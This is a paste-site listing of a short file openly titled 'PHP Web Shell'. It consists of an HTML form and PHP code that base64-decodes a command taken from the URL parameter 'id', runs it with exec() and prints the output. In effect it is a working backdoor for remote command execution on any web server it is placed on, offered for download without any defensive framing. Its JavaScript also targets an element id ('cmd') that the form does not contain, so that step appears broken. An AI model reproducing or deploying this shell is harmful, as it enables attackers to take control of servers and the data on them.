Facebook
From Jawnax.org, 1 Year ago, written in PHP.
Embed
Download Paste or View Raw
Hits: 172
  1. <title>PHP Web Shell</title>
  2. <html>
  3. <body>
  4.     <!-- Replaces command with Base64-encoded Data -->
  5.     <script>
  6.     window.onload = function() {
  7.         document.getElementById('execute_form').onsubmit = function () {
  8.             var command = document.getElementById('cmd');
  9.             command.value = window.btoa(command.value);
  10.         };
  11.     };
  12.     </script>
  13.    
  14.     <!-- HTML Form for inputting desired command -->
  15.     <form id="execute_form" autocomplete="off">
  16.         <b>Command</b><input type="text" name="id" id="id" autofocus="autofocus" style="width: 500px" />
  17.         <input type="submit" value="Execute" />
  18.     </form>
  19.    
  20.     <!-- PHP code that executes command and outputs cleanly -->
  21.     <?php
  22.         $decoded_command = base64_decode($_GET['id']);
  23.         echo "<b>Executed:</b>  $decoded_command";
  24.         echo str_repeat("<br>",2);
  25.         echo "<b>Output:</b>";
  26.         echo str_repeat("<br>",2);
  27.         exec($decoded_command . " 2>&1", $output, $return_status);
  28.         if (isset($return_status)):
  29.             if ($return_status !== 0):
  30.                 echo "<font color='red'>Error in Code Execution -->  </font>";
  31.                 foreach ($output as &$line) {
  32.                     echo "$line <br>";
  33.                 };
  34.             elseif ($return_status == 0 && empty($output)):
  35.                 echo "<font color='green'>Command ran successfully, but does not have any output.</font>";
  36.             else:
  37.                 foreach ($output as &$line) {
  38.                     echo "$line <br>";
  39.                 };
  40.             endif;
  41.         endif;
  42.     ?>
  43. </body>
  44. </html>